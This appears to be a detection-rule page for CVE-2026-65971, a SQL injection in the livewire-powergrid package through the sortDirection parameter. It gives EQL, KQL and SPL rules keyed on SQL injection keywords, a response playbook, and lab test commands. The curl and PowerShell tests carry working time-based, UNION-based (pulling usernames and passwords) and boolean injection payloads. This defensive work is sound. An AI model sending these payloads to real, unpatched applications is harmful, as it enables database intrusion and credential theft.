Skip to content
CVE-2026-65971 Elastic Security · Elastic

Detect livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971) in Elastic Security

Detects exploitation attempts against CVE-2026-65971, a SQL injection vulnerability in the power-components/livewire-powergrid Composer package (>= 6.0.0, < 6.10.4). The library fails to validate the sortDirection parameter when building naturalSort ORDER BY clauses, allowing an attacker to inject arbitrary SQL through Livewire component update requests. Because sorting is driven by Livewire's client-to-server state updates, exploitation appears as crafted POST requests to Livewire endpoints (/livewire/update or /livewire/message) carrying a sortDirection value containing SQL metacharacters, boolean/time-based blind payloads, UNION/stacked queries, or ORDER BY subselects. Detection correlates web/WAF logs and database query logs for anomalous sortDirection content and malformed ORDER BY clauses.

MITRE ATT&CK

Tactic
Initial Access Collection

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence
network where url.path like~ "*/livewire/*" and
  (
    stringContains(url.query, "sortDirection") or stringContains(http.request.body.content, "sortDirection")
  ) and
  (
    stringContains(http.request.body.content, "union select") or
    stringContains(http.request.body.content, "sleep(") or
    stringContains(http.request.body.content, "benchmark(") or
    stringContains(http.request.body.content, "pg_sleep") or
    stringContains(http.request.body.content, "waitfor delay") or
    stringContains(http.request.body.content, "--") or
    stringContains(http.request.body.content, "case when")
  )
high severity medium confidence

Elastic EQL network rule matching Livewire HTTP requests carrying a sortDirection parameter alongside SQL injection keywords in the request body for CVE-2026-65971.

Data Sources

Packetbeat HTTPFilebeat Web LogsWAF

Required Tables

packetbeat-*filebeat-*logs-web.*

False Positives & Tuning

  • Authorized DAST scans exercising ORDER BY injection payloads.
  • Legitimate requests containing comment sequences in free-text filter fields.
  • Synthetic monitoring requests replaying crafted payloads.

Other platforms for CVE-2026-65971


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Time-based blind SQLi via sortDirection

    Expected signal: Web access log entry for POST /livewire/update with a sortDirection value containing SLEEP(5); response latency ~5s.

  2. Test 2 UNION-based SQLi via sortDirection

    Expected signal: Web log POST to /livewire/update containing 'UNION SELECT' within the sortDirection field; possible SQL error in application log.

  3. Test 3 ORDER BY boolean injection via sortDirection

    Expected signal: IIS/web log entry for POST /livewire/update with sortDirection containing ') AND 1=1-- -'.


Response Playbook

Triage

  1. Confirm the targeted application bundles power-components/livewire-powergrid and resolve its installed version via composer.lock; versions >= 6.0.0 and < 6.10.4 are vulnerable.
  2. Extract the full sortDirection/naturalSort value from the flagged request and decode any URL/JSON/Livewire payload encoding to reveal the raw SQL fragment.
  3. Classify the payload intent: ORDER BY manipulation, boolean-blind, time-based blind (sleep/benchmark/pg_sleep/waitfor), UNION-based extraction, or stacked query.
  4. Review the HTTP response code, size, and latency for the flagged request to judge whether injection succeeded (e.g., delayed response for time-based payloads).

Containment

  1. Deploy a WAF rule rejecting Livewire requests whose sortDirection parameter is not exactly 'asc' or 'desc'.
  2. Upgrade power-components/livewire-powergrid to 6.10.4 or later across all affected deployments.
  3. If immediate patching is not possible, restrict database account privileges used by the application to read-only on required tables and revoke stacked-query/DDL rights.

Evidence Collection

  1. Preserve raw web/WAF access logs including request bodies for all requests from the source IP over the exposure window.
  2. Capture corresponding database query logs (general/slow/audit log) to identify the exact executed ORDER BY statements and any data accessed.

Escalation Criteria

  • !Escalate to incident response if database logs confirm the injected SQL executed (e.g., UNION rows returned or measurable time delay).
  • !Escalate if evidence shows exfiltration of sensitive tables, credential tables, or successful stacked write/DDL operations.

Investigation Guide

Forensic Artifacts

  • >Web/WAF access logs containing the malicious sortDirection payload and source IP.
  • >Database query/audit logs showing malformed ORDER BY clauses originating from the application account.
  • >Application (Laravel) logs showing query exceptions or anomalous Livewire component update activity.

Tuning Guidance

Baseline legitimate sortDirection values, they should only ever be 'asc' or 'desc'. Convert this to an allowlist detection (alert on any value not in {asc,desc}) once you confirm the application does not use custom sort aliases, which dramatically lowers false positives. Exclude known scanner IPs and authorized pentest windows, and whitelist internal synthetic-monitoring source addresses.


Hunting Queries

Surfaces any Livewire requests where sortDirection carries characters beyond the expected asc/desc tokens, grouped by source IP for burst detection.

Hunting — KQL
kql
// df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/livewire/" | extend body = tolower(coalesce(column_ifexists("csBody",""), cs_uri_query)) | where body has "sortdirection" and (body has "(" or body has "'" or body has "--" or body has "select") | summarize count() by cIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/livewire/*") | eval p=lower(coalesce(form_data,uri_query)) | where like(p,"%sortdirection%") AND (like(p,"%(%") OR like(p,"%'%") OR like(p,"%--%") OR like(p,"%select%")) | stats count by src_ip, uri_path

Atomic Red Team Tests

Test 1 Time-based blind SQLi via sortDirection
linux

Sends a Livewire update request with a time-based blind payload in sortDirection against a lab instance of livewire-powergrid < 6.10.4.

Command

bash
curl -s -X POST 'http://localhost:8000/livewire/update' -H 'Content-Type: application/json' -H 'X-Livewire: true' --data '{"components":[{"calls":[{"method":"sortBy","params":["name"]}],"updates":{"sortDirection":"asc,(SELECT 1 FROM (SELECT SLEEP(5))x)"}}]}'

Cleanup

bash
echo 'No persistent artifacts; restart the lab app if DB connections are saturated: php artisan serve restart'

Expected Telemetry

Web access log entry for POST /livewire/update with a sortDirection value containing SLEEP(5); response latency ~5s.

Expected Detection

KQL/SPL rules match on sortdirection + sleep( pattern.

Test 2 UNION-based SQLi via sortDirection
linux

Attempts UNION-based injection through the naturalSort ORDER BY clause.

Command

bash
curl -s -X POST 'http://localhost:8000/livewire/update' -H 'Content-Type: application/json' -H 'X-Livewire: true' --data '{"components":[{"updates":{"sortDirection":"asc) UNION SELECT username,password FROM users-- -"}}]}'

Cleanup

bash
echo 'No cleanup required'

Expected Telemetry

Web log POST to /livewire/update containing 'UNION SELECT' within the sortDirection field; possible SQL error in application log.

Expected Detection

All seven SIEM rules match on sortdirection + union select pattern.

Test 3 ORDER BY boolean injection via sortDirection
windows

Injects a boolean/ORDER BY-breaking payload via sortDirection to confirm the naturalSort SQLi primitive.

Command

powershell
powershell -c "Invoke-WebRequest -Uri 'http://localhost:8000/livewire/update' -Method POST -ContentType 'application/json' -Headers @{'X-Livewire'='true'} -Body '{\"components\":[{\"updates\":{\"sortDirection\":\"asc) AND 1=1-- -\"}}]}'"

Cleanup

powershell
Write-Output 'No cleanup required'

Expected Telemetry

IIS/web log entry for POST /livewire/update with sortDirection containing ') AND 1=1-- -'.

Expected Detection

KQL W3CIISLog rule and CrowdStrike CQL rule match on the boolean ORDER BY pattern.

Related Detections